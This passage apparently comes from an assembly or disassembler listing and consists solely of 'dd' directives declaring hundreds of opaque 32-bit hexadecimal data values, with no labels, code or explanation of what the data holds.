		dd 0E9059C5Eh, 4F052EDh, 0AAFC7E5Bh, 66F70780h,	9800F11Ah
		dd 563EAD09h, 861060D1h, 2C4CE46Eh, 1086FB31h, 9DBA0070h
		dd 8139DE7Ah, 402A09CAh, 9F8E254Dh, 2CC01680h, 79733E9h
		dd 9B625514h, 0E07576BCh, 4C356850h, 0B92A9BDFh, 0EE835B17h
		dd 168B17B0h, 93BBD3Ch,	0D6E82E16h, 5D8217DAh, 42A5F859h
		dd 50C85F65h, 0B38055C5h, 0B90F9F29h, 0AF166245h, 0BF5D1BDCh
		dd 8071CEF4h, 0EE53133Eh, 78F6D6A0h, 0B3C4BDD5h, 0DE4561FDh
		dd 81CB14D7h, 307C5F25h, 0B7AF1526h, 301C90F0h,	44BD582Bh
		dd 36250009h, 0D1327211h, 8E235E8h, 649D1879h, 12E3DEEDh
		dd 0B98AEAD4h, 1B3A4D7Ch, 6737681Fh, 21F18198h,	0E0906AFCh
		dd 850EDC0Bh, 0C481801Dh, 0B8441C5Eh, 52983EF1h, 5215C16h
		dd 0FAD1F7F2h, 85A5A4F2h, 4BC6EDAAh, 4E9CCAAAh,	68B4C1EAh
		dd 6B48F9B2h, 1CF6C7F0h, 0D47D4221h, 49143789h,	253A4455h
		dd 8326BD80h, 0F529D002h, 0C31C5E61h, 81F0BC2Ch, 5C3AEEE6h
		dd 0C711298Ah, 98E33BB7h, 0D0EF7D5h, 0A423008Ch, 0FDA60531h
		dd 0A9691C7h, 81CF0107h, 0C4754580h, 0B570900Bh, 3B59C0EAh
		dd 4AB3D249h, 0B948807Ah, 7E2D58F5h, 296F0521h,	68A880AEh
		dd 0DC0F18DEh, 7782E92Dh, 5066AC9Ch, 5AD5D38Fh,	508F88D4h
		dd 0C62F527Ah, 4892F717h, 5D1849F5h, 182F43F9h,	348618D4h
		dd 0D99F9B7Ch, 0E6DC2FC8h, 81B21608h, 880239EEh, 0E3924063h
		dd 95981022h, 1B57F604h, 0D1AE1579h, 738AA9AFh,	0FB807A0h
		dd 96F59E5Ah, 143106AEh, 0DCF12177h, 0D3C0100Ah, 23A1AAEBh
		dd 23459F1Dh, 1412988h
		dd 0EC2D7ABFh, 0BC43013h, 0A10B1993h, 52A75C88h, 259264D5h
		dd 86F47513h, 259D10E3h, 0E1F95134h, 0DDFD1FA8h, 0C9577FC5h
		dd 0C1888DBFh, 2CF9FCF0h, 0A2E9900Dh, 0FF2A9D3Dh, 0EA5FB223h
		dd 2F23DA4Eh, 9044D406h, 4613DE4Eh, 3E2DCDFAh, 16932CAAh
		dd 0F3D7A960h, 2FB48D12h, 2E7C09C7h, 343D0C9h, 4564F781h
		dd 835BDAC7h, 39FAE313h, 0D6A120A6h, 0EE35D195h, 40206A0Bh
		dd 0B9515DEEh, 33E64CEAh, 0B79CFCh, 0FEDFF6FDh,	4061B8CFh
		dd 0F25B017Ah, 181645CBh, 0C439240Bh, 0EEE2AA18h, 0C21B4B7Fh
		dd 34435B7Bh, 28294AF0h, 0F5160090h, 0DA1FA17Bh, 8051C34h
		dd 1417B850h, 0CD3849E8h, 0C977CD5Eh, 59DE48ADh, 67EC3AE3h
		dd 0A7834593h, 0A0195356h, 0FC4A5B4Bh, 3210F2A3h, 505E2CC0h
		dd 16AA22BFh, 49866B8h,	0BCA5E006h, 4550CF47h, 0D8889E08h
		dd 5DB9B0E7h, 0EF4E0972h, 0C990F48Bh, 7464680Ah, 0E4016F95h
		dd 78535706h, 2556CFD5h, 7180D7BFh, 20ACE94Ah, 0EA38FF37h
		dd 0C3B697B9h, 475444AEh, 1DB2EBDFh, 0B27AD541h, 0E1B30818h
		dd 2E112DFEh, 0D1992E4Fh, 0F0542DDh, 0FCF20839h, 6F26815Ch
		dd 0C46F18F0h, 7D61E099h, 0F42A7341h, 1F1FB14Dh, 74BC830h
		dd 0AC6D7C2h, 9FD2AB98h, 901DB13h, 28B869AFh, 0CB78F33Eh
		dd 4294745Ch, 1CF49AA4h, 9D0D1650h, 4E98FE4Ch, 3DEF8F88h
		dd 787D1D13h, 668D8101h, 9C213B6Bh, 9F087CA0h, 0EAFD1242h
		dd 7FCC2B8Bh, 9E5A34CEh, 0AA2B39F1h, 0F51D2E2Ah, 1185316h
		dd 816C1938h, 5C5C86Bh,	0E927516h, 128AC4EEh, 85AA0408h
		dd 0EADCBBAEh, 0CB59BD29h, 0D79DA70Ch, 987CBDC1h, 5B1DA42Eh
		dd 0EAF71B71h, 9DD95630h, 21A0A994h, 4E3C3327h,	54FEB10Bh
		dd 5D023F67h, 81C000DDh, 0F661FCE5h, 56A0C225h,	3B602E01h
		dd 1A2554E9h, 0EEBFF86Dh, 0EE3A53D2h, 26BBE37h,	0CCCBCE29h
		dd 2036342Ch, 0CD01BD04h, 587D4FCBh, 4F1937F5h,	0D4726E09h
		dd 2D071F97h, 29EE4C26h, 0FEC2E815h, 95897D3Ch,	0E35B5EF4h
		dd 0B08A045Dh, 0EB8268F9h, 822A45CDh, 0FA5FD7B2h, 0C60A2A28h
		dd 622EECF4h, 0E1C156D1h, 0E62D30FEh, 1D5D9E0Bh, 0D2641E6Dh
		dd 0F68100E6h, 18FF21F5h, 25690A9Fh, 0DF275424h, 0FD0F560Bh
		dd 0A3E94842h, 0B90149FEh, 35950C5Eh, 213C1931h, 64C4FE4Ah
		dd 0E9098CB6h, 46FFF5B4h, 7C6827ACh, 0A4B036EDh, 1A84E5Eh
		dd 0BD555014h, 89724390h, 0F29FA9DEh, 2D5EB798h, 8380C692h
		dd 0B6D831ADh, 0D95D52CCh, 0D5E858B3h, 3B98FE5Eh, 0EFFE952Dh
		dd 5C6822Dh, 4EBB0073h,	94C4E128h, 8BE33716h, 0EC8F4913h
		dd 2146C4C8h, 538E800Bh, 63D1EF67h, 0ABF47ECFh,	532D851Ch
		dd 3C8A2CC8h, 0E64BE0CDh, 83660BF5h, 0C9D840C1h, 0BF2A5ED2h
		dd 53093444h, 0B36E77BAh, 7F07D19Dh, 0FD8835EFh, 0C6E05EA5h
		dd 88E9045h, 1086E48h, 1CFB2E01h, 0E03B8988h, 8D09F2AEh
		dd 840BA337h, 0AC0E1127h, 127062C9h, 42D7DBB5h,	0DAF03EE9h
		dd 9D70FEBCh, 0E8798285h, 70756841h, 0FD9ADC78h, 0B00CEC7Dh
		dd 0ED71449Ah, 9E0C5595h, 6916FD0Ch, 65BE702Fh,	0FBE1BE77h
		dd 486A0A2Eh, 1FF5A095h, 7D7332A3h, 0FEF4D88Bh,	0ECB0087Ah
		dd 4F776305h, 0A8189E0h, 8C2BFD9Ah, 93BDC2F8h, 3C4CB0B6h
		dd 49334CD5h, 76657704h, 0A2C2EA72h, 20BE5821h,	0AE96C5AFh
		dd 613DE201h, 0B3406347h, 0E540601Ch, 0D7EE5461h, 63545F18h
		dd 971EA73Eh, 79908D9h,	0FF04E1CDh, 7AF39234h, 0EB0BCC12h
		dd 6643242Dh, 0B4FE1C5Dh, 0AA101309h, 0E01C0D81h, 60102476h
		dd 0E8985151h, 2E4E4650h, 0F51309A8h, 2A28FA17h, 0B6024EC6h
		dd 0F7660A5Bh, 250828F9h, 6FB60EB8h, 8C2D91E4h,	0FD90539Dh
		dd 0F5B8501h, 55F86831h, 14DCD968h, 15D3C091h, 680B0661h
		dd 597B0B13h, 7FDDA7BCh, 0F1E3A438h, 0F175F2A2h, 1EC44B42h
		dd 12166220h, 370FC568h, 42638245h, 0BB601274h,	5F147EA0h
		dd 5C1E81Dh, 18C5C381h,	5F7D1BA0h, 9B6F71Ch, 55DEB29h
		dd 0DE444DC2h, 0E8BC5AD3h, 6B8C68C2h, 17FD4C77h, 0EE8357E9h
		dd 75B5AF35h, 91B075F4h, 3CC90667h, 693860C1h, 2BBF4E06h
		dd 0F12116E1h, 305629FFh, 0F0426AE0h, 0FAD75389h, 51430FD1h
		dd 504B8B9h, 0CEA2EF08h, 2557C910h, 5B6F6868h, 95FCB505h
		dd 5F9CC02Fh, 9B098234h, 0C4F2C27Fh, 10F62F78h,	596490DEh
		dd 342A6EBh, 7E44719Ah,	4668B852h, 47D32656h, 44F51D5Bh
		dd 0C04B8C1Ah, 0F4E1D509h, 3015A2A0h, 41C29A83h, 0EE045B6Eh
		dd 0C74F308Ah, 1F5E10E5h, 0E92C4063h, 2D82B139h, 40B609F7h
		dd 0FA05E099h, 56A84076h, 8A4EE4ECh, 891AFA91h,	0C83D5726h
		dd 0FEE6840Bh, 7BC48FE4h, 16569B68h, 877FAD6Ah,	0F9B75152h
		dd 0E7F8CAD4h, 0D8C1CE20h, 61487FC6h, 0BE4A9978h, 0A94509CFh
		dd 0D4813960h, 0AA9767A1h, 0EF132BC4h, 4D6F38AFh, 68B2D661h
		dd 26361BC0h, 0CB561404h, 85078565h, 0F11DB46Ch, 98BE52F0h
		dd 68BC5812h, 0F7C84A38h, 0C7288077h, 4025F3A4h, 0F7C2C80Eh
		dd 3B3D251Eh, 0E918C875h, 5ACD696Fh, 5FFE25h, 0D05AE0CCh
		dd 0A600254Ah, 3504CE2Dh, 0F8C6A7Bh, 42970532h,	3EF730E7h
		dd 5F2E10E0h, 0C7503196h, 7C920A9Fh, 7B29DE77h,	62AFD17Eh
		dd 0CD7A8275h, 87750955h, 61147003h, 52EB7BC5h,	5C240525h
		dd 0B0DABB17h, 0E1EBAC4Fh, 0AF0466AAh, 4EC0EBE5h, 46212E33h
		dd 6D6C01C3h, 89F743E3h, 577A4F9Eh, 204982C4h, 6D2D02A8h
		dd 414DF266h, 0E8830641h, 0B0FD0548h, 14C190E2h, 0D0EF0539h
		dd 63A06843h, 24756D9Ah, 64047F82h, 5A37AEE0h, 0FA34A7F2h
		dd 5FEA0244h, 89BCB1D9h, 0DB93C582h, 7D716807h,	9A24086Dh
		dd 3E5379F6h, 5B7E978h,	1F54266h, 0E120987Dh, 29DD1254h
		dd 8F7FE931h, 0E4BFB2D1h, 8400CE51h, 742D3F87h,	90030561h
		dd 80B2909Bh, 64A4E908h, 82CB362h, 0C143A6B3h, 7B140368h
		dd 0E9C36AF3h, 34139BC3h, 0B2D2885Ah, 9946F56h,	0F058D1E9h
		dd 495CBB09h, 0F2F5CE1h, 1D251728h, 7410EA29h, 923A4D08h
		dd 0F3005516h, 6CE93310h, 0E720BDA6h, 5FC0F9Bh,	6384FD9Dh
		dd 81B6D426h, 4CFD50DFh, 0AE2568CDh, 8E165F55h,	0D09B56B7h
		dd 8A27E952h, 8AB2D35h,	0CD8E3F00h, 0F0DB5A5Dh,	0D94A6E28h
		dd 165AE1B3h, 0AE09BE75h, 58825B7h, 5154A4ABh, 1AB1ADD7h
		dd 0CE1C0964h, 59C94F63h, 0A89354AEh, 6AA74031h, 1E5D2117h
		dd 18D46488h, 0C35F166h, 0CAEB9523h, 0E5358B55h, 310B8978h
		dd 0D1991702h, 5CB57452h, 41572706h, 0BC6AC2DAh, 0D8BC4115h
		dd 77C7A2Ah, 51F6CD04h,	0BCBA694Ch, 7748C345h, 0C7878C33h
		dd 0B4308AB0h, 53F54901h, 3420EF93h, 90DD4655h,	26BCF27Ch
		dd 8F5F43Eh, 4800369Bh,	0C0C9252Dh, 63D89539h, 24CB3EE7h
		dd 6A3C0500h, 685D12B8h, 1856B42Dh, 0B6EBE82Ah,	0B3CB016Fh
		dd 0DB45994Bh, 0BA37C5D5h, 6F31800h, 0C939C396h, 855951F7h
		dd 20386B60h, 9EB91273h, 0EFF61697h, 0BF13040h,	0F249082Fh
		dd 8D8B1CFh, 652596D2h,	1FE4B2A7h, 2AF39666h, 5A9C2F2Ch
		dd 4E38AF11h, 8095406Bh, 0CEF248h, 30585AD5h, 275259EBh
		dd 0A5EDBB6h, 7F48AF0Bh, 0E6EE6B38h, 0C2806082h, 0A3D88265h
		dd 270674C8h, 0A660D2C2h, 39C5710Fh, 56B2E75Eh,	0DE2F3078h
		dd 77AFF3A1h, 2812722Ch, 89C63807h, 0DA1431A5h,	0A4CE398Eh
		dd 4A002153h, 0E9C6457Dh, 7BADE7A6h, 0C10488F8h, 73324406h
		dd 851391Eh, 32684E24h
		dd 0CE8B7F14h, 0ACB54868h, 9825527Dh, 8BF3D127h, 22A064D1h
		dd 6C0F63BEh, 0E6816701h, 2EAB5346h, 6FCB27Bh, 16BC654Ch
		dd 4EF3010Ch, 85E948A5h, 4DE87FA4h, 68585F80h, 33A82D63h
		dd 4416C0BBh, 20BA69CBh, 3D3F97D4h, 0C2927ABFh,	1D181CFAh
		dd 6806ED68h, 3989EB58h, 1685C10Ch, 81200755h, 8406E73Fh
		dd 294B0A12h, 0E9F7BF83h, 0DFDA783Dh, 0B83F97E4h, 55F696D7h
		dd 39025808h, 0DB2DD802h, 86774449h, 5F61B931h,	0ED76E5EEh
		dd 5D79687Dh, 25B3C54Ah, 7EE3628Ch, 0F97EFFBFh,	3A8ADFF6h
		dd 0FC032C10h, 1108D621h, 289A170h, 2FD4EFF1h, 638642F7h
		dd 1364C07Ch, 0E2766420h, 72F9BA05h, 2B4864E2h,	37EEE5B0h
		dd 0F082BB48h, 17856856h, 8B440F35h, 0D0FA1235h, 68455701h
		dd 179A521Fh, 20C02370h, 0E497772Ch, 0B98F4076h, 0F8277AE2h
		dd 40F4563Ch, 0F5D85205h, 0F99001F6h, 0E286FE9Fh, 0FDF0DCE9h
		dd 0C2824950h, 0CBF8694Fh, 1DADC904h, 0EA13847Ah, 30E1AB03h
		dd 0F73AC86Ch, 24567BD9h, 405767DAh, 32874F79h,	3E1F60B8h
		dd 0CB06547h, 0A0E20843h, 975EF39Eh, 0FE9FB158h, 0E8451318h
		dd 7EA85B92h, 6E2A68ACh, 4358638h, 1AE38E7h, 0D30918F6h
		dd 10E93829h, 584CDC5Eh, 1A04AE25h, 58E2AE5Dh, 0F37913D2h
		dd 50D1930Bh, 657F7C40h, 4F7FF58h, 0C0B4C24Ch, 9A6E7C48h
		dd 88BA3F01h, 1C06591h,	0BFEF4D64h, 9A28C274h, 8009AD0Bh
		dd 0A9D2257h, 516806D8h, 5D09EEC4h, 61F70509h, 106C5EC2h
		dd 2871129Eh, 513D588Eh, 0D946AD68h, 675E8BD0h,	0D5C97759h
		dd 0B56269F1h, 277212h,	52EB7064h, 51EDD14Dh, 2E7FB904h
		dd 0C805C19h, 0FCA0144Bh, 0C7F9841h, 2F4616F8h,	5F10500Ch
		dd 0F4072597h, 0B2F1836Dh, 7C550B67h, 0C97C8A60h, 816D3h
		dd 0A3C58006h, 2F561B68h, 0B55103A9h, 5BF5E99Ch, 10CFE6C7h
		dd 2D073B9Eh, 0FCD5578Ch, 7A1055Ch, 86056A5Fh, 0B044453Ch
		dd 0B5B35990h, 7DD4307Eh, 6853DF97h, 963EFE98h,	36439347h
		dd 54F43425h, 0B6EA02EFh, 0F989AD41h, 6273597Dh, 0BC760847h
		dd 6C7F6861h, 4A72A67Ah, 37C69ABBh, 0C0849852h,	9449510Dh
		dd 6F99D312h, 646FFDD0h, 0C8433581h, 868CAD10h,	64DB25F9h
		dd 0EC7534C2h, 77C6B232h, 7F5966Ah, 14895DCFh, 0F4129018h
		dd 5F3F2E76h, 0A3E904CDh, 0FB29BA3Ch, 0C689986Ch, 580027C5h
		dd 3228355Eh, 2D690501h, 36C4C9Eh, 6B82B9F2h, 0ACC946DAh
		dd 65ECF1CDh, 6FB661EAh, 0C629D7F4h, 0A3921CCAh, 14342CC2h
		dd 0E2675F1Ah, 54B4E984h, 70C1EBACh, 73264129h,	5AEE4826h
		dd 0E65F3EB9h, 1A097CACh, 960EA90Ah, 0AD995D9h,	0FAE7E983h
		dd 394D04FEh, 0F13A5437h, 94C3E4F5h, 79172316h,	4BB8BA00h
		dd 4E01196Ch, 0D092AADDh, 64BFC05Ah, 4CCC2C5Fh,	27A0BB6Dh
		dd 0EB3883F5h, 19D475h,	0BA68E150h, 4DE94303h, 0EFC7D564h
		dd 580DA8BEh, 0E2B725D9h, 0B39E7792h, 0D212AC4Bh, 0EDE74E00h
		dd 0C3165679h, 52380846h, 0E9FD01B0h, 8604A95Ah, 50AA3558h
		dd 40B2878Ah, 7209C750h, 77091437h, 9B824F86h, 3CB9EB01h
		dd 0F3290D9Dh, 9808C2A0h, 0C4505E28h, 4CCAEF9Eh, 0AFEA83C4h
		dd 4BE92830h, 13EC3F3h,	69C151EBh, 10FB76F8h, 5706EA5Eh
		dd 0FF4B5B68h, 60120359h, 0D07D2616h, 0BF66F63Ah, 5EB525C6h
		dd 2D4F8025h, 860D3411h, 52D00A04h, 0CCE86CE9h,	1F72BD03h
		dd 0BD171ABh, 0CDEC3BA3h, 5E59E8B5h, 10901AFh, 7A4768F9h
		dd 1EE35545h, 824327FAh, 91DDD414h, 4ECC3CBFh, 83F31EBFh
		dd 555AE54h, 0AE9DDBE9h, 922051C9h, 37C46F31h, 0BADEE5E4h
		dd 8F48128Eh, 16EB7901h, 62417BE9h, 0FFB59623h,	0ACA7BC2Fh
		dd 2C783168h, 4811FAC7h, 5B441BB5h, 28AAA8EEh, 4B35F8F0h
		dd 87668C15h, 0AC8CE54Fh, 0E063103Ch, 3FB80573h, 1EE44CBBh
		dd 30F24131h, 1A1232FFh, 0B5AC1518h, 663DFB4Ch,	5ED8B34Eh
		dd 7B861444h, 147DC242h, 0D317F3DEh, 1F064BAh, 0A87E54F3h
		dd 7A4A2053h, 788D8853h, 22BECF4Ah, 91D45F46h, 9A02EB88h
		dd 83C27133h, 0D8AC6CF3h, 54E67F27h, 9061A74Bh,	0B33F1EE8h
		dd 27543DC4h, 7BC0EFBh,	0E32080C3h, 0B51C6068h,	5AEC7551h
		dd 65B10551h, 0F830BEB0h, 4B972735h, 0AB204A97h, 2FC24487h
		dd 0A267E417h, 8FD8D5FBh, 88915E4Ah, 0B67EC372h, 97831941h
		dd 987AE393h, 0F5602990h, 7263C367h, 5B354CC5h,	9F45E609h
		dd 87C897E0h, 7F755F25h, 0E86636E0h, 0F99EC49Eh, 1007C70Ch
		dd 5E7700B9h, 8ABA4703h, 0B87FFCA1h, 41F665E7h,	787587BEh
		dd 57899F0Eh, 8E21DE53h, 0BA176F01h, 30E9FE9Ch,	0BF718441h
		dd 7D4C623Dh, 11D710A0h, 0D76A582Dh, 2DA1D657h,	0D360A179h
		dd 0B70378E9h, 0ECD5721Ah, 28AD32C1h, 0F0564371h, 0A6565D12h
		dd 0BE84A6F9h, 0F2AD0F99h, 40C33F00h, 2C893991h, 27B58C2h
		dd 43FB3B5Eh, 34A0C5E3h, 469E366Fh, 0E4DF280h, 1605450Ah
		dd 5D80712h, 42DD029h, 0E8AEE907h, 75FB5B77h, 8498FEE0h
		dd 4EE91550h, 0CE648368h, 9CACC302h, 20C2124Bh,	0F770C281h
		dd 0AF603551h, 5FB75366h, 7B93A08Ah, 67FA344Ah,	0C5D0B354h
		dd 0CD226364h, 8309AB12h, 0A05970B1h, 2F5F78ECh, 7B763E0Ch
		dd 0A7028668h, 753F5B6Bh, 0F62D7B48h, 24D1052Dh, 6280CF40h
		dd 4B491602h, 6065AA30h, 0E8D290B6h, 0F684D224h, 0D29CA9BBh
		dd 84076FFh, 5646BD1Dh,	11BC69D2h, 67FCBC25h, 0F4F33662h
		dd 100389DAh, 4562D55Eh, 4FECC444h, 0FC14FEEFh,	0B5E016D6h
		dd 4AEACFBAh, 6BF19B85h, 0D3C4A23Fh, 4A523CABh,	25500B40h
		dd 0ACFCFC88h, 0D40EE219h, 0B858E3E4h, 0EECE4918h, 0B31BE03h
		dd 0D62F702Fh, 25A1F2DDh, 887C766Ah, 791FF968h,	20132539h
		dd 0ABA60512h, 56DFA018h, 0C652D6Dh, 8A094D6h, 5FC9E93Dh
		dd 56DEB4ACh, 88C74795h, 0D057B9CEh, 7CEE38A0h,	3C5CF725h
		dd 0DA81ED13h, 0E32A6855h, 0DF3217F0h, 4EDE27FCh, 0FF170C96h
		dd 3E96E2C9h, 64883D46h, 512D53D0h, 7603F55Bh, 905EF7F8h
		dd 371CC5BDh, 0AB39384h, 0C1E68D8Ah, 2FFEE86Fh,	55C9A6ACh
		dd 0D840A5D8h, 6CC107BEh, 0DF464842h, 0AB7DA59Dh, 0C8257D63h
		dd 0D83EA5Eh, 4E809EC1h, 0B8FF80D8h, 7F055168h,	58C501A5h
		dd 0C7394E90h, 5B5F84FEh, 98B167FCh, 0BFDD50EFh, 0FB3D6ABBh
		dd 0AF449768h, 5EF620AFh, 1903F20Dh, 0F32D16BFh, 8136F25Bh
		dd 75CB6D6h, 0F9DE3288h, 0B7085C3Ch, 17E0D3FFh,	0F7E00FBDh
		dd 0F491510h, 0C17A5458h, 0FC2D0813h, 0BA5313BBh, 3E2A007h
		dd 5EFB7709h, 99F15E2Fh, 2A593D3Eh, 0E9B1D8FDh,	7D002E3Ah
		dd 8B67AC2Dh, 34D8EB38h, 0BF695B0Fh, 2AC9228h, 0E9287415h
		dd 3CA8B8Eh, 48A8BB40h,	645F0F2Dh, 68523B3Bh, 7E5B6284h
		dd 41FCEE5Ah, 630AB90h,	80DFB225h, 0FE01C21Ch, 8E2C0C6h
		dd 9012A107h, 0EB5B0633h, 0EC2BE939h, 0BF548497h, 73C381C8h
		dd 2494906Ah, 62364089h, 4B5FBB53h, 8D2805C4h, 816DBE19h
		dd 0F85E3A06h, 0BD25E972h, 0AA8480Bh, 76592463h, 38FC2D63h
		dd 0FCC7B39Eh, 8DE5E966h, 9F7F27A4h, 3E594E41h,	0BE30EA2Dh
		dd 70AF8229h, 0D2A7FE05h, 6557E587h, 0EB8B3D57h, 22503BE9h
		dd 0CCCE7BC0h, 9F74B161h, 161312D8h, 0C1AE0A42h, 7FEEEB50h
		dd 0A4D26CB8h, 0F05BC559h, 0F5AA7F95h, 6D2F00Ch, 13034E9Dh
		dd 0CC694868h, 20B5F87Eh, 156BF6D2h, 80206043h,	4C04652Eh
		dd 0A14EE970h, 0FE287770h
		dd 552C3A5Bh, 1508F0A4h, 0E90FABBAh, 93F6EBC8h,	9EA94C9Ch
		dd 0F4A17B8Dh, 61DB27Bh, 0B5DB7616h, 0E4360A0Ch, 129EE08Ch
		dd 48E4B1D9h, 5C4AE9DDh, 0DDBF49C4h, 0F8F3F468h, 67F64DACh
		dd 5E12EC94h, 0BD1119F6h, 0C6142D45h, 59E916B6h, 0FE96EFCFh
		dd 88C402B6h, 0C801D025h, 0BFD51CD7h, 0E9F8A056h, 598D6275h
		dd 6EE306EDh, 7A9A4FA8h, 0E3C08B4h, 0A56AE3F5h,	0C8BB540Bh
		dd 0BD5DDEEBh, 55F52F25h, 0FDB3B8A3h, 0D4C1EF2Fh, 0C10CB47Fh
		dd 0A54EBE2Eh, 860D7D52h, 92E82B0Ch, 59CBD648h,	571837D1h
		dd 0F655A90h, 0CF894DD9h, 0B1FA09EBh, 0DB2D040Fh, 72094Ch
		dd 354312A5h, 25419861h, 16FCA0E5h, 40853C64h, 3F369DAFh
		dd 69C6AAC0h, 4D2E2EABh, 0A0412710h, 0D415ACC0h, 0B53157AFh
		dd 0DD78FEE9h, 0CBBB5E4Eh, 7C977AE9h, 165FEB6Ch, 0FE5A4A6Ah
		dd 0B3BBB174h, 7CA0055Eh, 1AC274FDh, 0D3BE00E1h, 3CB8952Fh
		dd 363E601h, 0C0E94B70h, 81589593h, 21BA82Dh, 694CE5Ah
		dd 8B2199EAh, 0C097616h, 0DF2DEF4Eh, 809DD62h, 0A1A0BF16h
		dd 3B1366F1h, 380B5A0Ah, 40857E3Fh, 67C877B3h, 0C53CF7ECh
		dd 0EB41AC7Dh, 5494D919h, 9812E42Dh, 348BAA05h,	0D1D10112h
		dd 37A72BD4h, 0B3086025h, 48D830E4h, 4D12365Bh,	4ACDF315h
		dd 87E04705h, 0C39D94B3h, 2CC828BFh, 421659A3h,	89ABF406h
		dd 71D4E4D8h, 7EEE6A9Fh, 514E43DAh, 0DF9BA2DCh,	0D1C3B189h
		dd 0E6688E06h, 303B9957h, 31809674h, 0A429DECAh, 0F557301Eh
		dd 27257D84h, 45C4FE4Ah, 0E3C6BE19h, 0DD1B0F1Eh, 0CD80C408h
		dd 72AC5CBCh, 2727F1B7h, 7021971h, 0FF082CE9h, 0FB2F8AA5h
		dd 1A31C17h, 0B7F8BF89h, 0CF68580Bh, 0ADACD157h, 2528A2F1h
		dd 0A9C4594Fh, 1CDF5EC0h, 0F76517ECh, 11B421DBh, 505203CCh
		dd 12E23995h, 0C4FB7F6Bh, 0E920502h, 0D96880F9h, 0DF971068h
		dd 0D3D3B584h, 1898B92Bh, 81B57DD2h, 7AD82787h,	1335E1D8h
		dd 0FF67AE3Bh, 32297144h, 54236CEFh, 51602E91h,	0C21DF0E9h
		dd 239B6838h, 0F96036FEh, 153DC95Fh, 0D5CEE958h, 6D27DE48h
		dd 7B568707h, 49E6D5Fh,	8008EAC1h, 660BF79Fh, 0BE71458h
		dd 80D110FFh, 7562BE89h, 0E9200D72h, 7E6018E6h,	66C47A5h
		dd 0C912EA4Eh, 1813A8F8h, 0FF6DFB91h, 80B0F96Ch, 77973BC3h
		dd 68A2D00Eh, 739108FDh, 70F67A56h, 787CAF10h, 915FFA28h
		dd 0FA0FD03Ch, 0B5B13CB5h, 149740D0h, 23F920C8h, 0A6965D5Dh
		dd 4155908Bh, 54827ABAh, 5C0577DDh, 4A10AA5Bh, 0B0F1028h
		dd 23D5326h, 61D7A49h, 1AF22E40h, 514C4614h, 0BCEB04BAh
		dd 90BA5733h, 5E9DEA0h,	5800EE9Ch, 0ED80D528h, 5F4AF617h
		dd 487289F0h, 0E17BACC4h, 2C3C180h, 68CAF78Dh, 97992AE7h
		dd 0C433685Eh, 0ECEFF021h, 625E4B0h, 2D60B4ABh,	9CFCD05Ah
		dd 9C03E690h, 216854D8h, 49B3FC40h, 0F0C92A25h,	3063FADEh
		dd 151886BFh, 6E14A712h, 40CDDF29h, 0BB25E908h,	0C929D971h
		dd 0C1B97977h, 3E684BE9h, 10183D40h, 48F7778Dh,	841E53DDh
		dd 0E9130458h, 0A016971Bh, 38AD0C3Ah, 1DEA294Bh, 87E6FA0h
		dd 0E90511C8h, 0EFF2255Dh, 5E56BA4Fh, 0B934AFDh, 0F7256C1Dh
		dd 19DBFB5Eh, 9F3DEE4Bh, 0D14ECE22h, 0C3675BDh,	718A0CBEh
		dd 7A5E2E98h, 0D1678E12h, 2255F8A0h, 0CC002BDh,	36C74850h
		dd 0E9EF0929h, 4D22BE65h, 0D1742C8Bh, 96F5955Ch, 0A9E91735h
		dd 8167F2E2h, 459D685Bh, 2F782E23h, 0AD514FF2h,	6F4D599Ch
		dd 0C020857Bh, 310084F2h, 81720869h, 2E06CFCBh,	0F232EAh
		dd 18666CABh, 90B425E9h, 54274B24h, 27DB105Fh, 0DCC5ABBFh
		dd 39F42751h, 5044C687h, 91022865h, 776F76E9h, 0AB2F99CCh
		dd 0C06C1249h, 3F7372B6h, 921A446Fh, 0C871CCCh,	0BE8984FBh
		dd 8ABA4212h, 9D324F6Eh, 537C5F29h, 6889DEC8h, 0FE9E5502h
		dd 3865253h, 282FF380h,	0C8C6D1DCh, 0AEF9416Eh,	7F54AF70h
		dd 51710D80h, 0C0414E36h, 1B08E514h, 11304E30h,	4AB61F5h
		dd 7EE9C547h, 4FBACAA4h, 7ECCF562h, 0EE053DA2h,	8335105Bh
		dd 1478C5ECh, 2DCE893Ch, 0B86CE0EFh, 3F601E7Ah,	0EC4F8508h
		dd 8B14A4FEh, 7CED572Dh, 0E4A6BA7Fh, 87F1873Eh,	537FD95Bh
		dd 7CE90541h, 0AE1ED5B9h, 0C1925EC1h, 68593482h, 47F57728h
		dd 805C648Bh, 8E4EECF4h, 1AA1714Bh, 0BF57078Fh,	6A7D6D61h
		dd 3A102531h, 0BE437FB0h, 0C9722E63h, 68202050h, 10A99D8h
		dd 4F6F91BFh, 1E688066h, 8128AD12h, 22B801E6h, 2E92AFCh
		dd 17416B83h, 29493308h, 289CF3D8h, 4F8BFAB6h, 5468C205h
		dd 64E3DBF5h, 0AA0B1387h, 35C67FB3h, 0B2C0A320h, 0C2A24B60h
		dd 7E5F51B9h, 2D5C5893h, 84E6A89Dh, 0C266FB00h,	0CF78146h
		dd 3438565Dh, 7D17790Ch, 3BE01DDDh, 9E2F9D04h, 4B3094A2h
		dd 0ED114640h, 0ACFF5A81h, 7F6B83AFh, 745098CBh, 0D154F635h
		dd 6105EAFAh, 214B441Dh, 80435E82h, 680DC384h, 0DA09092Fh
		dd 9F59DE9h, 0C4AFD434h, 16ACE014h, 0D20EB41h, 0A06FE8FCh
		dd 7F5BDFA7h, 835D9D81h, 0B9F901EEh, 0EF62EF52h, 5A02935Bh
		dd 8AA73DE2h, 0D6AB6F4Ah, 0B2F9C2Ah, 19B14E3Eh,	3B052532h
		dd 0F04CABCFh, 0AEA71D85h, 0C25B328Ah, 9074A6BDh, 0C42BF62Dh
		dd 6D8CEA29h, 31E15ACDh, 3BBDECFh, 5F253756h, 0A1E73B9Ch
		dd 270953BCh, 4B822AE9h, 45724800h, 19E6D14Ah, 25131A68h
		dd 48132EE0h, 12449BBEh, 7AD48502h, 0EC84F1AEh,	0DC95FEC8h
		dd 0C57F5A4Dh, 7168854Ah, 0D148BC36h, 0BE0C1030h, 4ECCEF40h
		dd 29289875h, 0B427ADB2h, 8FFBA571h, 439A76D5h,	0EB020643h
		dd 2DFB3888h, 0ACF73A00h, 535359C3h, 4D48C004h,	856D410h
		dd 0B0055B07h, 12AB7811h, 0B7C1FEE4h, 0D47BC701h, 0C0D5ABACh
		dd 85168AABh, 0B485C1E9h, 0B78169F8h, 0C9DFF63Fh, 3A7078D7h
		dd 1DFD5A66h, 0E7B5F05Ah, 0EF320E90h, 7FEA6723h, 54AD41F1h
		dd 982F7313h, 55F49975h, 1F2EA66Bh, 27202EE9h, 0D752D25Ch
